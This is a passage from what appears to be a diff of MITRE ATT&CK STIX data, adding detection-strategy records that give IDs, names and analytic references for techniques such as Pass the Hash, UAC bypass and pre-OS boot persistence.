"x-mitre-detection-strategy--77078baf-96f1-413a-bf5b-96b42486e26c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0265", + "external_id": "DET0265" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for System Services: Launchctl", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0297fd45-97bc-4913-8d38-218eae431544" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8a9b730a-b290-40ce-b182-dbcb06fbad3d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0073", + "external_id": "DET0073" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for System Services: Systemctl", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--756d5795-ef61-4115-80d2-f2e7440dff56" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--552bacaa-9df5-4c95-83de-a7d1948003b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0583", + "external_id": "DET0583" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1136 - Create Account across platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--33d574c3-8e9b-462d-b3d1-09e64c2fa8c7", + "x-mitre-analytic--9d70d90c-f318-4318-a18d-e4775ffa229e", + "x-mitre-analytic--ddaf8ed8-f6bd-4eac-911c-d9fd243e87e9", + "x-mitre-analytic--7947aae5-fd76-403c-8c73-1300dff7d30f", + "x-mitre-analytic--d715d148-4d2d-407c-bd83-c471a4163d4e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7ad75a00-94f0-4deb-8642-df227a2a8ac6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0319", + "external_id": "DET0319" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1136.003 - Cloud Account Creation across IaaS, IdP, SaaS, Office", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--668f1c2b-1a5e-4269-92d9-f7126764dd4e", + "x-mitre-analytic--4264c6fb-20b2-4792-8939-c7d8f204338a", + "x-mitre-analytic--e619c27e-3d57-489c-8ce9-cbb5f0c195bd", + "x-mitre-analytic--53872bd3-7e5e-4573-ae07-6304bf7e49af" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a51d4d34-78fc-49b7-9071-348905dd33c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0475", + "external_id": "DET0475" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1218.011 Rundll32 Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2cb33f68-48f8-4ffe-86e1-bc857a300398" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1d738832-3de4-45f0-98e5-ac37642619e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0042", + "external_id": "DET0042" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1218.012 Verclsid Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e9f451b7-1b9e-420e-983a-3442547b7180" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7f5dde79-7872-48dd-8718-cd2e10d7cbfc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0046", + "external_id": "DET0046" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1497 Virtualization/Sandbox Evasion", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--55808d73-7aa9-4f2c-8122-8e60bf14f4c6", + "x-mitre-analytic--412b76ec-d44e-4064-9dc1-32cf793f0176", + "x-mitre-analytic--b12639b9-5daa-46aa-a21f-521f6962f042" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--27b606f9-dde4-456c-8d90-51289313994f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0547", + "external_id": "DET0547" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1505 - Server Software Component", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ea250997-091b-4c5e-8827-a41f03e34caf", + "x-mitre-analytic--65f89c21-d42a-4028-9865-122ea1079a77", + "x-mitre-analytic--d5af4c93-632c-41c3-a101-6e9e534d7d01", + "x-mitre-analytic--55b8622a-795b-41d8-9b11-5576a0fb8f0f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--90ee8005-5476-422f-abe0-6c231f004cd6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0166", + "external_id": "DET0166" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1505.002 - Transport Agent Abuse (Windows/Linux)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c94b2c2b-8885-4f5e-abec-e80ab0a24f21", + "x-mitre-analytic--2c64ece9-c40f-4d1a-babf-106f587454d0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--32af4177-8c33-43d8-8e2c-9e11ac6dd451", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0068", + "external_id": "DET0068" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1505.004 - Malicious IIS Components", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--09ef4725-8e20-452d-b08c-f7db3cbee174" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d9073646-f875-4c38-9b37-e9ac11c40188", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0212", + "external_id": "DET0212" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1505.005 \u2013 Terminal Services DLL Modification (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--01f18cc1-2948-4ea7-adaf-017da939b9ff" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c08df366-fa5a-4f34-a27e-b28e756f09f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0334", + "external_id": "DET0334" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1525 \u2013 Implant Internal Image", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--de0a1136-1476-4c28-bf49-004ac3ef97f7", + "x-mitre-analytic--7845facb-50f2-4d32-ae00-6766b9410681" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--58bdb4c6-510b-4ffc-9703-852614116ac8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0515", + "external_id": "DET0515" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1528 - Steal Application Access Token", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--78821450-c84f-498f-abf2-b43211fa4218", + "x-mitre-analytic--70f6482e-e93b-45a5-9b8c-ba7fd0c8220a", + "x-mitre-analytic--a064fdd2-4293-4aff-a91b-e06ac8bf9262", + "x-mitre-analytic--da365d5b-c955-46f6-99c2-cd57a3560a57", + "x-mitre-analytic--0677b819-0586-454c-9f4d-c861ccaf1b73" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--abf6c96c-09f3-4bea-a5b7-1177f99881bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0278", + "external_id": "DET0278" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1542 Pre-OS Boot", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e2ca60b5-82df-4e7e-8528-dd24d9a79750", + "x-mitre-analytic--08dd2c3b-e07c-4b47-bae6-aa09c2a86d87", + "x-mitre-analytic--43834e1c-533a-4f08-b508-8632d35b10ad", + "x-mitre-analytic--e64aebfd-8343-45ec-bdce-6681a8255637" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e90ab093-47a3-4c05-80b1-1919d2362ea9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0099", + "external_id": "DET0099" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1542.001 Pre-OS Boot: System Firmware", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--59d44906-a35e-4b0f-ab84-df3bfa6df8f9", + "x-mitre-analytic--ceb2c722-f9ec-41de-980e-d8848b1cb20c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a53d62ae-b269-45e8-9937-17def4e28663", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0323", + "external_id": "DET0323" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1542.002 Pre-OS Boot: Component Firmware", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6f2fdf37-f603-4264-aed1-24fe2d1aa094", + "x-mitre-analytic--062580eb-eb79-4b31-b3fd-e500ebcfc128", + "x-mitre-analytic--c89e4f72-a563-4665-9934-14b9efe88a06" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c3924c07-255d-4df9-8357-a47e68c04bbb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0175", + "external_id": "DET0175" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1542.004 Pre-OS Boot: ROMMONkit", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ca649f9b-2a1f-4d45-b61b-33ac38d6a4ee" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8f6ddd50-aeb8-48ae-8f4a-83b314829ca3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0582", + "external_id": "DET0582" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1542.005 Pre-OS Boot: TFTP Boot", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--92004715-82f0-409d-a520-fc49720e4f3d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--04f3b20d-e208-4ca3-b1e5-9e996013bc8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0330", + "external_id": "DET0330" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1546.016 - Event Triggered Execution via Installer Packages", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3ae8f3c1-c3a1-4c45-9231-1bb6f9c61ee1", + "x-mitre-analytic--2f9c7e44-de3a-4fbd-955a-482ef9f341ed", + "x-mitre-analytic--9c9db399-4f87-477b-be31-536857b7912d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--408fb023-a9d7-473c-8db8-a7d3c66eded7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0375", + "external_id": "DET0375" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1546.017 - Udev Rules (Linux)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c1167779-9df4-4387-b777-4da097c6b033" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--300931b1-bd28-4e91-ba6e-585f3563e8e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0180", + "external_id": "DET0180" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1547.009 \u2013 Shortcut Modification (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5f9fdff8-55ed-4b1e-8889-46b376ce7149" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a62dbd10-5b61-489c-a465-8f792792778e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0204", + "external_id": "DET0204" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1547.010 \u2013 Port Monitor DLL Persistence via spoolsv.exe (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--61729716-59f3-433e-a678-101c18040851" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f3cd8bda-d509-4452-a119-3feebb8f05b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0121", + "external_id": "DET0121" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1547.015 \u2013 Login Items on macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--89e3509c-d732-4826-ac78-baea8fbf0834" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d6619253-10cd-4b90-84b5-364c418d2484", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0388", + "external_id": "DET0388" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1548.002 \u2013 Bypass User Account Control (UAC)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--13a875c4-87d2-448e-a46e-970e1f9ad5da" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5692084b-878d-44f7-8b38-a3d125894845", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0409", + "external_id": "DET0409" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1550.002 - Pass the Hash (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d1bcc6a4-e84a-4251-b86b-e8fe2ecc0dd1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5f53739d-3a41-4f7e-a83d-219a0c64e7a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0352", + "external_id": "DET0352" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for T1550.003 - Pass the Ticket (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--54ffc701-eb6c-4e3e-8615-0c6f8b327a34" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a14db1ea-e57e-4bc4-83bb-94a6e7da87b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0467", + "external_id": "DET0467" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for TLS Callback Injection via PE Memory Modification and Hollowing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + 